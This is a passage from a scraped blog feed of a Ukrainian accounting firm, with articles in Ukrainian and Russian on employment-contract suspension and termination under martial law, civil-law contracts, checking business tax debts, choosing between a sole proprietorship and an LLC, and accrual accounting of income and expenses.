Розмір гарантії не повинен перевищувати 80% розміру кредиту.

▪ у формі грантів, включаючи зниження сукупного розміру відсоткової ставки та плати за користування гарантією, становить до 800 тис. євро за офіційним валютним курсом НБУ, встановленим на дату надання державної допомоги.

The post Хто зможе отримати держдопомогу на підтримку підприємництва: проєкт нових критеріїв appeared first on Assets.

]]> http://assets-buh.com.ua/uk/khto-zmozhe-otrimati-derzhdopomogu-na-podtrimku/feed/ 0 Що робити роботодавцю у разі смерті працівника під час воєнного стану http://assets-buh.com.ua/uk/%D0%A9%D0%BE-%D1%80%D0%BE%D0%B1%D0%B8%D1%82%D0%B8-%D1%80%D0%BE%D0%B1%D0%BE%D1%82%D0%BE%D0%B4%D0%B0%D0%B2%D1%86%D1%8E-%D1%83-%D1%80%D0%B0%D0%B7%D1%96-%D1%81%D0%BC%D0%B5%D1%80%D1%82%D1%96-%D0%BF%D1%80%D0%B0%D1%86%D1%96%D0%B2%D0%BD%D0%B8%D0%BA%D0%B0-%D0%BF%D1%96%D0%B4-%D1%87%D0%B0%D1%81-%D0%B2%D0%BE%D1%94%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%81%D1%82%D0%B0%D0%BD%D1%83/ http://assets-buh.com.ua/uk/%D0%A9%D0%BE-%D1%80%D0%BE%D0%B1%D0%B8%D1%82%D0%B8-%D1%80%D0%BE%D0%B1%D0%BE%D1%82%D0%BE%D0%B4%D0%B0%D0%B2%D1%86%D1%8E-%D1%83-%D1%80%D0%B0%D0%B7%D1%96-%D1%81%D0%BC%D0%B5%D1%80%D1%82%D1%96-%D0%BF%D1%80%D0%B0%D1%86%D1%96%D0%B2%D0%BD%D0%B8%D0%BA%D0%B0-%D0%BF%D1%96%D0%B4-%D1%87%D0%B0%D1%81-%D0%B2%D0%BE%D1%94%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%81%D1%82%D0%B0%D0%BD%D1%83/#respond Tue, 31 May 2022 14:59:56 +0000 https://assets-buh.com.ua/?p=1637 КЗпП не містить такої підстави припинення трудового договору, як смерть працівника. Тому в такому випадку припинення трудового договору провадиться на підставі норм трудового законодавства з урахуванням норм цивільного законодавства. У разі смерті працівника роботодавець повинен оформити припинення з ним трудових відносин, а саме видати відповідний наказ та усі належні померлому працівникові грошові суми виплатити членам […]

The post Що робити роботодавцю у разі смерті працівника під час воєнного стану appeared first on Assets.

]]> КЗпП не містить такої підстави припинення трудового договору, як смерть працівника. Тому в такому випадку припинення трудового договору провадиться на підставі норм трудового законодавства з урахуванням норм цивільного законодавства.

У разі смерті працівника роботодавець повинен оформити припинення з ним трудових відносин, а саме видати відповідний наказ та усі належні померлому працівникові грошові суми виплатити членам його сім’ї або спадкоємцям.

Підставою для припинення трудових відносин з померлим працівником є належним чином оформлене свідоцтво про смерть або ж рішення суду. Без  документа припинити трудовий договір із таким працівником не вийде.

 

Документальне оформлення припинення трудових відносин з померлим працівником

 

Перший крок — вирішення питання про виключення померлого працівника з особового складу, а також про оформлення трудової книжки.

Після того, як свідоцтво про смерть від родичів буде передано роботодавцю, видаємо наказ (розпорядження) про виключення працівника зі списків працівників у зв’язку зі смертю. Копія свідоцтва про смерть додається до особової картки померлого працівника.

У випадку, відсутності свідоцтво про смерть, самостійно звертаємось до всіх органів, в яких могла відбуватися реєстрація смерті працівника: останнє місце реєстрації, за місцем настання смерті чи виявлення трупа або за місцем поховання. У такому разі наказ (розпорядження) про припинення трудового договору з померлим працівником можна видати лише на підставі отриманої відповіді із зазначенням дати смерті.

Звертаємо увагу, що дата наказу (розпорядження) про виключення працівника зі списків працівників у зв’язку зі смертю та дата припинення трудового договору можуть не збігатися (див. лист Мінсоцполітики № 284/06/186-10 від 21.12.2010 р.).

 

Датою припинення трудового договору буде дата смерті працівника

 

Табелювання працівника продовжується, навіть якщо відомо, що працівник помер. Відповідальна особа за ведення табеля, щодня вносити до нього відповідні позначки причини відсутності працівника на роботі. Лише після видання наказу (розпорядження) про припинення трудових відносин у разі смерті працівника можна припинити щоденне його табелювання і скласти підсумковий табель.

У наказі про припинення трудового договору у зв’язку зі смертю вказується кількість днів невикористаної щорічної основної відпустки та додаткової відпустки для працівників, які мають дітей. Згідно з ч. 6 ст. 24 Закону про відпустки у разі смерті працівника грошова компенсація за невикористану ним щорічну основну відпустку, а також додаткову відпустку працівникам, які мають дітей, виплачується спадкоємцям.

Трудову книжку померлого працівника заповнюємо відповідно до Інструкції про трудові книжки. Зазначаємо:

— у графі 1 — номер запису по порядку;

— у графі 2 — дату звільнення;

— у графі 3 — «Роботу припинено у зв’язку зі смертю». Посилання на норму КЗпП   не робимо;

— у графі 4 — документ, що став підставою для внесення запису (наказ, розпорядження та ін.), його дату і номер.

 

Виплата заробітної плати померлого працівника

 

Заробітна плата померлого працівника нараховується за фактично відпрацьований час.

Згідно зі ст.116 КЗпП при звільненні працівника виплата всіх сум, що належать йому від підприємства, здійснюється в день звільнення, а якщо працівник не працював цього дня, то вказані суми слід виплатити не пізніше наступного дня після пред’явлення звільненим працівником вимоги про розрахунок.

 

Кому виплачуємо

 

Відповідно до ст. 1227 ЦКУ сума заробітної плати, яка належала спадкодавцеві, але не була ним одержана за життя, передається членам його сім’ї.

У ч. 6 ст. 83 КЗпП зазначено, що у разі смерті працівника грошова компенсація за невикористані ним дні щорічних відпусток, а також додаткової відпустки працівникам, які мають дітей або повнолітню дитину з інвалідністю з дитинства підгрупи А I групи, виплачується спадкоємцям.

У більшості випадків судова практика вважає, що зарплату, у тому числі грошову компенсацію, перелічену више, члени сім’ї померлого можуть одержати відразу після відкриття спадщини (в день смерті, або в день, з якого особа оголошується померлою), а спадкоємці (не члени сім’ї) — у строк, установлений для прийняття спадщини, тобто через шість місяців із дати смерті.

Якщо ніхто з родичів померлого до підприємства не звернеться, заробітна плата включається до складу спадщини. Тобто отримати її зможуть лише спадкоємці на підставі свідоцтва про спадщину.

 

Висновки

 

Відповідно до ст. 119 КЗпП за працівниками, які були призвані на військову службу за призовом під час мобілізації, та загинули під час проходження військової служби, зберігається місце роботи, посада і виплачується середній заробіток до дня оголошення судом їх померлими.

Тобто роботодавець зобов’язаний працівникові, призваному на військову службу за призовом під час мобілізації, до дня оголошення судом його померлим зберігати місце роботи, посаду і виплачувати середній заробіток.

Враховуючи вказане, цілком закономірно може виникнути ситуація, коли сумну звістку роботодавець отримує значно пізніше дати смерті працівника, внаслідок чого буде продовжувати нарахування працівникові середнього заробітку до моменту, коли фактично дізнається про це.

Що ж робити в даній ситуації? Відповідь на вказане питання може міститись у локальних нормативно-правових актах підприємства (наприклад, колективному договорі), положення якого можуть передбачати як проведення коригування зарплати працівника, що помер, на невідпрацьовані дні, так і заборону на такі дії.

В іншому випадку керуємось вимогами ст.ст. 127, 132 КЗпП. Тобто якщо про смерть працівника стало відомо:

Не пізніше за один місяць з дня виплати неправильно обчисленої суми — видаємо наказ (розпорядження) про утримання із зарплати працівника, що помер, надміру виплачених сум (п. 1 ч. 2 ст. 127 КЗпП);

Джерело: LIGA ZAKON

The post Що робити роботодавцю у разі смерті працівника під час воєнного стану appeared first on Assets.

]]> http://assets-buh.com.ua/uk/%D0%A9%D0%BE-%D1%80%D0%BE%D0%B1%D0%B8%D1%82%D0%B8-%D1%80%D0%BE%D0%B1%D0%BE%D1%82%D0%BE%D0%B4%D0%B0%D0%B2%D1%86%D1%8E-%D1%83-%D1%80%D0%B0%D0%B7%D1%96-%D1%81%D0%BC%D0%B5%D1%80%D1%82%D1%96-%D0%BF%D1%80%D0%B0%D1%86%D1%96%D0%B2%D0%BD%D0%B8%D0%BA%D0%B0-%D0%BF%D1%96%D0%B4-%D1%87%D0%B0%D1%81-%D0%B2%D0%BE%D1%94%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%81%D1%82%D0%B0%D0%BD%D1%83/feed/ 0 Призупинення дії трудового договору http://assets-buh.com.ua/uk/prizupinennya-diyi-trudovogo-dogovoru/ http://assets-buh.com.ua/uk/prizupinennya-diyi-trudovogo-dogovoru/#respond Thu, 28 Apr 2022 11:07:39 +0000 https://assets-buh.com.ua/?p=1549 Дію трудового договору можна призупинити у зв’язку з військовою агресією проти України, що виключає можливість надати та виконувати роботу. Право призупинити трудові відносини мають як працівник, так і роботодавець. У цьому разі трудові відносини фактично тривають, але: роботодавець тимчасово припиняє забезпечувати працівника роботою; працівник тимчасово припиняє роботу за трудовим договором. Призупинення — це не звільнення. […]

The post Призупинення дії трудового договору appeared first on Assets.

]]>
Дію трудового договору можна призупинити у зв’язку з військовою агресією проти України, що виключає можливість надати та виконувати роботу.
Право призупинити трудові відносини мають як працівник, так і роботодавець. У цьому разі трудові відносини фактично тривають, але:

  • роботодавець тимчасово припиняє забезпечувати працівника роботою;
  • працівник тимчасово припиняє роботу за трудовим договором.
Призупинення — це не звільнення. Призупинення дії трудового договору не припиняє трудових відносин.

 

  • абсолютна неможливість забезпечити працівника роботою;
  • тимчасовий характер такого заходу;
  • не тягне за собою припинення трудових відносин.

Отже, головне, – призупинення дії трудового договору не повинно використовуватися з метою не сплати працівникові заробітної плати, а тому воно має бути обґрунтованим. Разом з тим, категорія “обґрунтованості” в разі виникнення будь-яких спорів, в т.ч. і судових спорів, є категорією оціночною, і підлягає оцінці судом в контексті всіх фактичних обставин справи (роз’яснення від jurliga.ligazakon.net).

Головна умова, щоб призупинити дію трудового договору — абсолютна неможливість роботодавця надати роботу, а працівника — виконувати її.

Роботодавець не виплачує працівнику зарплату під час призупинення, але бухгалтер має фіксувати суму зарплати, яку працівник не отримав за час, коли трудові відносини призупинили, а також суми ЄСВ, який мав би сплатити роботодавець.
Працівник отримує кошти за час призупинення після нашої перемоги. Верховна Рада поклала на державу, що здійснює військову агресію проти України, обов’язок відшкодувати в повному обсязі зарплату, гарантійні та компенсаційні виплати працівникам за час призупинення дії трудового договору (ч. 3 ст. 13 Закону № 2136).

Вказаного механізму компенсації на цей час чинне законодавство України не містить. Коли такі норми з’являться, на жаль, невідомо.
Оскільки під час призупинення трудового договору роботодавець не виплачуватиме зарплати, то відсутня база нарахування ЄСВ, а відповідно — ЄСВ не сплачується.

Призупинення — гідна альтернатива відпустці без збереження зарплати, адже за час призупинення працівник отримує кошти після перемоги, а в разі відпустки за власний рахунок не отримує нічого.

The post Призупинення дії трудового договору appeared first on Assets.

]]> http://assets-buh.com.ua/uk/prizupinennya-diyi-trudovogo-dogovoru/feed/ 0 Что нужно знать про договора ЦПХ/ГПХ http://assets-buh.com.ua/uk/dogovora_cph/ http://assets-buh.com.ua/uk/dogovora_cph/#respond Sun, 02 May 2021 09:03:09 +0000 https://assets-buh.com.ua/?p=1252 Прежде всего, давайте определимся с понятиями. ЦПХ и ГПХ – это одно и то же. ЦПХ – от украинского “цивільно-правового характеру”. ГПХ – гражданско-правового характера. 1.В чем отличие трудового договора от договора ЦПХ/ГПХ?  По трудовому договору сотрудник работает в штате компании. Он подчиняется графику и внутреннему распорядку работы, работает на отведенном его рабочем месте. Трудовой […]

The post Что нужно знать про договора ЦПХ/ГПХ appeared first on Assets.

]]> Прежде всего, давайте определимся с понятиями.
ЦПХ и ГПХ – это одно и то же. ЦПХ – от украинского “цивільно-правового характеру”. ГПХ – гражданско-правового характера.

1.В чем отличие трудового договора от договора ЦПХ/ГПХ? 

По трудовому договору сотрудник работает в штате компании. Он подчиняется графику и внутреннему распорядку работы, работает на отведенном его рабочем месте. Трудовой договор может быть как со сроком, например на год, так и бессрочным. Другими словами, человек работает по трудовой книжке. В таком случае предприятие обязано:
– выплачивать ему ежемесячно зарплату,
– обеспечить социальные гарантии: отпуск раз в год, больничные, индексация заработной платы. 

Тогда как Договор ЦПХ или ГПХ –  подразумевает, что человек является подрядчиком:
 – выполняет разовые работы,
– не зависит от графика работы в компании,
– оплату получает по договоренности за сделанную работу.
Поэтому, по договору ГПХ не может работать продавец и кассир, потому что сотрудник зависит от графика работы

2.Понятие “трудовые отношения”.

По трудовому договору сотрудник состоит в трудовых отношениях с компанией, а по договору ЦПХ – нет.
Если трактовать понятие трудовых отношений в целом, то под них попадут и ГПХ, но мы рассматриваем это понятие со взгляда инспектора Гоструда. Предположим, вы оформили продавца по договору ГПХ и он работает у вас на протяжении года. Впоследствии, при проверке Гоструда инспектор выявит признаки трудовых отношений, которые попадают под трудовой договор, а не ГПХ.
Следовательно, в таком случае выпишут штраф за сокрытие трудовых отношений.

3.Признаки трудовых отношений.
Законопроект № 5054 от 09.02.2021, где хотели утвердить эти признаки  не подписали.
Однако по этим признакам и ранее выявляли скрытые трудовые отношения: 

  1. выполнение работы по конкретной должности по поручению лица, в интересах которого выполняются работы;
  2. регулирование процесса труда, который носит постоянный характер и не предусматривает конкретного результата за определенный период;
  3. выполнение работы на определенном рабочем месте с соблюдением правил трудового распорядка;
  4. организация условий труда “работодателем” (предоставление оборудования, инструментов, материалов, рабочего места)
  5. систематическая выплата человеку, выполняющему работу;
  6. наличие четкого графика рабочего времени и времени отдыха;
  7. возмещения поездок и других финансовых затрат, связанных с выполнением работы.

Итог.
1.Оформить договор ГПХ имеет смысл тогда, когда человек действительно оказывает разовые работы или услуги, или с редкой периодичностью.
2.Есть риск штрафов при проверке. Например, швея может оказывать услуги по договору ГПХ, но если она приходит на место работодателя каждый день с 09.00 до 18.00 на протяжении года, то при проверке сразу выявят трудовые отношения.

 

Больше информации про ФОП и ООО можно посмотреть на канале Анны Куровской. Перейти на канал. 

Наш телеграмм канал здесь

Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФОП или ООО, звоните: 063-407-48-71.

The post Что нужно знать про договора ЦПХ/ГПХ appeared first on Assets.

]]> http://assets-buh.com.ua/uk/dogovora_cph/feed/ 0 Как проверить без ключа, есть ли долги у ФОП и ООО. http://assets-buh.com.ua/uk/fop-tov-loans-checking/ http://assets-buh.com.ua/uk/fop-tov-loans-checking/#respond Wed, 28 Apr 2021 08:50:25 +0000 http://assets-buh.com.ua/?p=1240 Перейдите  сайт https://tax.gov.ua/businesspartner.  Там вы выбираете ООО или физлицо (если у вас ФОП), вводите идентификационный код, проходите проверку, что вы не робот, и получаете результат. Также там есть поле ФИО, не заполняйте его, если вводите код. Заполняется только одно поле из этих двух. Если нужно узнать более детально сумму долга, это можно сделать через электронный кабинет […]

The post Как проверить без ключа, есть ли долги у ФОП и ООО. appeared first on Assets.

]]>
Перейдите  сайт https://tax.gov.ua/businesspartner.  Там вы выбираете ООО или физлицо (если у вас ФОП), вводите идентификационный код, проходите проверку, что вы не робот, и получаете результат. Также там есть поле ФИО, не заполняйте его, если вводите код. Заполняется только одно поле из этих двух.
Если нужно узнать более детально сумму долга, это можно сделать через электронный кабинет с ключом, как зайти в кабинет мы писали здесь. 

Больше информации про ФОП и ООО можно посмотреть на канале Анны Куровской. Перейти на канал. 

Наш телеграмм канал здесь

Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФОП или ООО, звоните: 063-407-48-71.

The post Как проверить без ключа, есть ли долги у ФОП и ООО. appeared first on Assets.

]]> http://assets-buh.com.ua/uk/fop-tov-loans-checking/feed/ 0 Регистрировать собственную компанию или нет? http://assets-buh.com.ua/uk/registrirovat-sobstvennuyu-kompaniyu-ili-net/ http://assets-buh.com.ua/uk/registrirovat-sobstvennuyu-kompaniyu-ili-net/#respond Sun, 13 Jan 2019 13:51:12 +0000 http://assets-buh.com.ua/?p=475 “Мы живем в стране, где бизнес ведется на два кармана: белый и серый. И это ни для кого не секрет”, – с таких слов начал разговор клиент на встрече с нашим финансистом. И он прав. Хотим добавить, что не все ведут бизнес таким образом, некоторые вообще не имеют зарегистрированной компании. В этой статье мы расскажем, […]

The post Регистрировать собственную компанию или нет? appeared first on Assets.

]]> “Мы живем в стране, где бизнес ведется на два кармана: белый и серый. И это ни для кого не секрет”, – с таких слов начал разговор клиент на встрече с нашим финансистом. И он прав. Хотим добавить, что не все ведут бизнес таким образом, некоторые вообще не имеют зарегистрированной компании. В этой статье мы расскажем, в чем же, по нашему мнению, преимущество регистрации бизнеса. Под регистрацией мы имеем в виду создание юридического лица, например, такого, как общество с ограниченной ответственностью или физического лица-предпринимателя.

Разумеется, самая главная причина, почему предприниматели не хотят регистрировать компанию – это нежелание платить налоги. Рассмотрим три типа бизнесменов по отношению к налогам:

Первая категория бизнесменов. Предприниматели категорически отказываются платить налоги, и делают все возможное, чтобы избежать этого. Работают как можно дольше таким образом, чтобы не возникала необходимость регистрировать ни компанию, ни ФОП. Впрочем, откровенно говоря, они все равно платят налоги: когда пользуются услугами партнеров, когда приходят в ресторан или в супермаркет. То есть, вместо того, чтобы делать лучше своему бизнесу и себе, люди думают: только бы государству досталось меньше. И после борьбы с «ветряными мельницами» сил на собственное развитие может и не остаться.

Вторая категория бизнесменов. Также не хотят платить налоги, однако бизнес спустя время регистрируют. Пожалуй, это предприниматели из первой категории, которые приобрели опыт и поняли: если они граждане этой страны и хотят развивать свое дело, нужно искать пути развития и адаптироваться к системе, в которой живут. «То есть, если мы нырнули в воду, надо уметь плавать, а не бегать. Если мы на велосипеде – следует крутить педали, а не приседать. А если решили делать бизнес, то необходимо регистрировать компанию.

Третья категория бизнесменов. Имеют амбициозные цели и понимают, что для развития бизнеса без регистрации не обойтись. Поэтому просчитывают свои финансы, находят специалистов и планируют, как вести предпринимательскую деятельность. Такие люди тратят время на то, чтобы увеличить свои показатели, чтобы реализовать свою цель. И если для этого нужно платить налоги – они платят. Но понимают, что платить нужно так, чтобы расти, а не обанкротиться. Именно для этого и существует оптимизация налогов, которая является вполне законной.

Итак, а какие же преимущества в регистрации бизнеса?

1. Любовь к своей стране – делом, а не словом.

Возможно, звучит пафосно. Но уплата налогов – это один из показателей патриотизма. Многие предприниматели публично не бьют себя в грудь и не кричат громко о любви к стране, и при этом ежемесячно платят налоги. Это и есть любовь к стране, а иначе – как ее выражать?

2. Капитализация и продажа бизнеса.

Любовь – любовью, но бизнес есть бизнес. И предприниматели, как никто, это понимают. Если бизнес зарегистрирован, его можно продать. У нас на бухгалтерском обслуживании есть клиенты, которые уже сейчас строят будущее своей компании с целью ее продажи зарубежным инвесторам. И этот путь существенно отличается от того, когда собственник не задумывается о продаже компании или не имеет больших планов на десять лет вперед.

3. Привлечение потенциально интересных, крупных партнеров и клиентов.

Это похоже на продажу компании, но имеет несколько другое направление. Часто партнеры – это возможность для открытия новых направлений бизнеса и увеличение количества клиентов. А когда есть зарегистрированная компания – значит, один из шагов уже сделан. Партнеры могут посмотреть на показатели текущей и прошлой деятельности, обороты, активы. Но с партнерами можно и с нуля зарегистрировать компанию, что не является проблемой, поскольку сейчас регистрация проходит довольно быстро.

4. Выход на международный уровень.

Для начинающих предпринимателей это может показаться голословным и нереалистичным. «Где мой бизнес, а где – международный уровень?» – иронизируют некоторые из них. Но если у владельцев есть потенциал и желание строить бизнес с партнерами и клиентами не только в Украине, но и за пределами нашей страны – то уже не будет возникать вопрос о том, регистрировать бизнес или нет.

5. Привлечение кредитов.

Банки дают кредиты тем юридическим лицам, которые работают не менее года и имеют отчетность и обороты. То есть наработали определенную платежную историю. Мы знаем немало предпринимателей, в том числе и наших клиентов, которые брали кредиты для расширения своего бизнеса, и многим это помогало расти.

Итак, как при регистрации компании, так и при получении кредита нужно:

Во-первых, делать расчеты. Для того, чтобы понимать, как будете погашать кредит, на какие цели его берете и тому подобное.
Во-вторых, быть дисциплинированным и последовательным в своих действиях. Если этот кредит берется на бизнес, то туда он и должен идти. Если от вас требуются ежедневно какие-то действия – их надо делать, а иначе ни один кредит или инвестор не помогут.

Не так страшен бизнес, как это кажется новичкам на берегу большого предпринимательского океана. Это нелегко, но и в других сферах нужны усилия: для значительных достижений в спорте, искусстве, учебе или в кино. Каждая отдельная деятельность требует от человека тех или иных навыков и действий. В бизнесе – это продажи, переговоры, систематизация. И как один из компонентов – оформление юридического лица. Это пазл, без которого не будет полной картинки. Поэтому лучше направить энергию на продажи, увеличение клиентов, на оптимизацию, а не на поиск полного ухода от налогов.

 

The post Регистрировать собственную компанию или нет? appeared first on Assets.

]]> http://assets-buh.com.ua/uk/registrirovat-sobstvennuyu-kompaniyu-ili-net/feed/ 0 ФОП или ТОВ: преимущества и недостатки http://assets-buh.com.ua/uk/fop-ili-tov-preimushhestva-i-nedostatki/ http://assets-buh.com.ua/uk/fop-ili-tov-preimushhestva-i-nedostatki/#respond Sun, 13 Jan 2019 12:39:58 +0000 http://assets-buh.com.ua/?p=448 «Не знаю, что выбрать, ФОП или ООО?» – часто с таким вопросом обращаются в нашу компанию клиенты. Выбор формы регистрации волнует многих начинающих предпринимателей. Поэтому мы подробно расскажем о плюсах и минусах ФОП и ООО. И ФОП, и ООО являются юридическими лицами, с помощью которых предприниматели ведут свою деятельность. ФОП – это физическое лицо предприниматель. […]

The post ФОП или ТОВ: преимущества и недостатки appeared first on Assets.

]]> «Не знаю, что выбрать, ФОП или ООО?» – часто с таким вопросом обращаются в нашу компанию клиенты. Выбор формы регистрации волнует многих начинающих предпринимателей. Поэтому мы подробно расскажем о плюсах и минусах ФОП и ООО.

И ФОП, и ООО являются юридическими лицами, с помощью которых предприниматели ведут свою деятельность.
ФОП – это физическое лицо предприниматель.
ООО – это общество с ограниченной ответственностью.

Также существуют:

  • Частные предприятия (ЧП). Форма, больше похожа на ООО;
  • Акционерные общества (ОАО, ЗАО). Здесь права на собственность распределяются акциями. У таких предприятий значительно выше требования к отчетности и ведению бизнеса;
  • Общественные и некоммерческие организации. Их целью является социальная деятельность, и она не направлена  на получение прибыли.
  • Наиболее распространенными формами являются ФОП и ООО, которые мы и рассмотрим.

 

Вопросы, на которые нужно ответить перед тем, как выбрать форму регистрации:

 

1. Какой деятельностью вы будете заниматься?
2. Есть ли у вас партнеры, с кем вы бы хотели официально задекларировать партнерство в вашем бизнесе?
3. Кем будут ваши клиенты: компании (юридические лица) или конечный потребитель (население)?
4. Есть ли в вашей собственности зарегистрированное имущество с высокой стоимостью?
5. Планируете ли вы привлекать инвесторов к своему бизнесу или продавать его?

 

Преимущества ФОП

 

  • Легкость в регистрации и ведении бухгалтерии. Некоторые ФОП самостоятельно ведут свою бухгалтерию. Бухгалтерия ООО сложнее – там необходимо привлекать специалиста;
  • Легкость в получении чистой прибыли. Это важное преимущество, потому что все средства, поступающие на счет ФОП, он может снимать, и не отчитываться за них. Главное, своевременно платить налоги и подавать отчетность;
  • Легкость в закрытии ФОП. Сделать это гораздо проще, чем с ООО;
  • Можно не использовать кассовый аппарат с оборотом до 1 млн грн. в год. Если деятельность ФОП попадает под требование ставить кассовый аппарат – он может его не использовать до достижения оборота 1 млн грн. на протяжении одного года;
  • Нет необходимости в наличии юридического адреса, ФОП регистрируют по месту регистрации физического лица;

 

Недостатки ФОП

 

Основной недостаток – риск собственным имуществом. Если начинается судебный процесс, ФОП несет ответственность имуществом, которое на нем числится. Однако, если вести деятельность в правовом поле, риск таких ситуаций крайне низок.

Так же не все предприятия готовы работать с ФОП, в частности – крупные компании. Кто-то по причине недоверия, кто-то – из своих внутренних корпоративных причин.

 

Кому лучше выбирать ФОП?

 

  1. Тем, кто только начинают вести предпринимательскую деятельность;
  2. Тем, у кого деятельность связана с услугами. Тем, кто хочет заниматься торговлей – так же можно открывать ФОП, но часто бывает сразу выгоднее открыть ООО, многое зависит от масштаба деятельности;
  3. Кто работает преимущественно с конечным потребителем и имеет объем доходов в размере 300 тыс. -1,5 млн грн. в год (1 и 2 группа ФОП) или до 5 млн грн. в год (3 группа ФОП);
  4. Незначительный процент официальных расходов по сравнению с доходами;
  5. Кому выгодно, что ФОП дешевый в обслуживании.

 

Преимущества ООО

 

  • Возможность строить крупный бизнес, привлекать инвесторов и кредиторов. Для ООО это более возможно, чем для ФОП;
  • Возможность работать с крупными компаниями;
  • Ответственность перед должниками только капиталом ООО. То есть теми активами, которые находятся в собственности ООО;
  • Каждый из основателей должен сделать вклад в уставный капитал. Эта сумма заранее обсуждается и прописывается в уставе. Взносы можно делать деньгами или имуществом. Затем эти средства и имущество можно использовать в хозяйственной деятельности предприятия.

 

Недостатки ООО по сравнению с ФОП

 

  • Сложнее и дороже регистрация;
  • Нужен уставный капитал, подготовка пакета документов: устава, протокола, приказа и т.д.;
  • Дороже в обслуживании бухгалтерии. Ведение самой бухгалтерии требует больше внимания и является более сложной, чем в ФОП;
  • Необходим юридический адрес, по которому ООО будет значиться. Это также может быть адрес одного из учредителей или нужно арендовать офис.

 

Причины для выбора ООО

 

  1. Вид деятельности, который обусловливает необходимость регистрировать ООО, например, туристические агентства, страховая, финансовая деятельность и тому подобное;
  2. У кого есть партнеры по бизнесу и необходимо официально распределить доли бизнеса;
  3. Предприниматели, которые хотят впоследствии продать бизнес или привлечь инвесторов в долю бизнеса;
  4. Предприниматели, работающие преимущественно с крупным бизнесом и компаниями;
  5. Предприниматели, которые «выросли» из ФОП, и пришла пора расширяться.

 

Когда мы с клиентами проходимся по всем пунктам, становится понятно, что выгоднее регистрировать. Если  у вас остались вопросы и вы пока все еще не можете определиться, что выбрать, имеет смысл проконсультироваться с бухгалтером чтобы сделать правильный выбор.

The post ФОП или ТОВ: преимущества и недостатки appeared first on Assets.

]]> http://assets-buh.com.ua/uk/fop-ili-tov-preimushhestva-i-nedostatki/feed/ 0 О доходах и расходах: что должны знать владельцы ООО? http://assets-buh.com.ua/uk/kogda-malo-deneg/ http://assets-buh.com.ua/uk/kogda-malo-deneg/#respond Fri, 28 Dec 2018 14:31:48 +0000 http://assets-buh.com.ua/?p=332 По окончанию года бухгалтеры составляют балансы и отчитываются о финансовых результатах. Иногда результаты шокируют владельцев: прибыль по бухгалтерской отчетности больше, чем реально денег на руках. Раскроем основное, что нужно знать владельцам предприятий на общей системе налогообложения, чтобы избежать такой ситуации. Когда возникают доходы?   У предприятий на общей системе налогообложения доход возникает не тогда, когда […]

The post О доходах и расходах: что должны знать владельцы ООО? appeared first on Assets.

]]> По окончанию года бухгалтеры составляют балансы и отчитываются о финансовых результатах. Иногда результаты шокируют владельцев: прибыль по бухгалтерской отчетности больше, чем реально денег на руках. Раскроем основное, что нужно знать владельцам предприятий на общей системе налогообложения, чтобы избежать такой ситуации.

Когда возникают доходы?

 

У предприятий на общей системе налогообложения доход возникает не тогда, когда зашли деньги от покупателя, а тогда, когда бухгалтер выписал документ, подтверждающий факт осуществления отгрузки товара или оказания услуг.

Например, ООО «Елка» 20 декабря 2018 г. отгрузила игрушки покупателю на сумму 5 тыс. грн. Оплату за эти игрушки ООО «Елка» получит лишь в январе 2019 года. Но доход возникнет у этого предприятия именно 20 декабря 2018 г. Или наоборот, ООО «Елка» получила аванс в размере 10 тыс. грн. в декабре 2018 г., а товар отгрузит по условиям договора в феврале 2019 г. Тогда и доход возникнет именно в феврале 2019 г.

Это сигнализирует владельцам о том, что надо понимать, когда возникают доходы, чтобы правильно спланировать расходы и оптимизировать уплату налогов.

Что можно отнести к расходам и когда они возникают?

 

В общем, расходы можно поделить на две категории.

Во-первых, это затраты, которые напрямую относятся к изготовлению или закупке товара/услуг, проданных в текущем месяце.
К таким расходам относятся:

  • себестоимость товара, который купили и продали;
  • себестоимость готовой продукции, которую изготовили и продали;
    себестоимость услуг, которые выполнили.

Также к прямым затратам относят заработную плату производственного персонала и амортизацию основных средств, на которых непосредственно изготавливают продукцию. Это может быть печь, в которой пекут хлеб, или станок, на котором клеят бумажные мешки.

Во-вторых, это косвенные издержки производства или офиса:

  • аренда;
  • транспорт;
  • реклама;
  • канцтовары;
  • электроэнергия;
  • заработная плата админ персонала, уборщиц, водителей;
  • амортизация непроизводственных основных средств (например, компьютеров) и др.

Типичная ошибка: директор заплатил за товар 20 тыс. грн. в конце 2018 г. Он потратил деньги с расчетного счета, и считает, что у него появились расходы. Но если товар, предназначенный для продажи, будет лежать на складе, и продадут его только в следующем году, то сумму 20 тыс. грн. в расходы в 2018 г. отнести невозможно. Это ни первая, ни вторая категория расходов, о которых мы написали выше. Расходы возникнут только тогда, когда товар продадут.

Расходы обязательно должны быть связаны с получением дохода или обеспечением текущей деятельности предприятия. То есть, расходы возникают в период получения дохода, благодаря этим расходам у предприятия собственно и появляется доход.

Давайте теперь эти 20 тыс. грн. потратим по-другому. Купим компьютер для офиса. Это уже относится к расходам. Но спишем не всю сумму, а только часть, потому что компьютер принадлежит к основным средствам, которые амортизируются пропорционально сроку использования. Предположим, что по характеристикам компьютера срок его использования – 5 лет (это 60 месяцев).
20 тыс. грн.: 60 мес. = 333,33 грн.
Амортизация ежемесячно будет составлять 333,33 грн. Если компьютер приобрели в декабре 2018, то с 20 тыс. грн. на расходы 2018 г. мы спишем только 333,33 грн.

Чем доказать расходы?

 

Подтверждением расходов есть полученный документ, а не потраченные средства.
Скажем, ООО «Елка» арендует помещения. За ноябрь «Елка» еще не заплатила арендатору, но на руках у бухгалтера есть акт от 30 ноября 2018, так как услугу реально получили. Это общепроизводственные расходы. Денег не потратили, но на руках есть документ, поэтому по бухгалтерскому учету возникли расходы.

Весьма неприятную ошибку могут сделать начинающие бизнесмены, которые предоставляют услуги и привлекают подрядчиков. Возьмем для примера компанию «Ивент», которая организовывает банкеты и привлекает подрядные предприятия, делегируя им часть работы.
Компания «Ивент» предоставила услуги заказчику и подписала с ним акт на сумму 300 тыс. грн. от 31 октября 2018 г. В ноябре 2018 г. получила всю оплату и из нее 150 тыс. грн. заплатила своему подрядчику. Это значит, что эти 150 тыс. грн. должны входить в себестоимость работ октября, так как часть услуг на банкете исполнил именно подрядчик.
Но, если подрядчик предоставит акт в ноябре, а не октябре то 150 тыс. грн. уже нельзя включить в расходы, потому что их невозможно отнести к доходу, который возник в октябре.

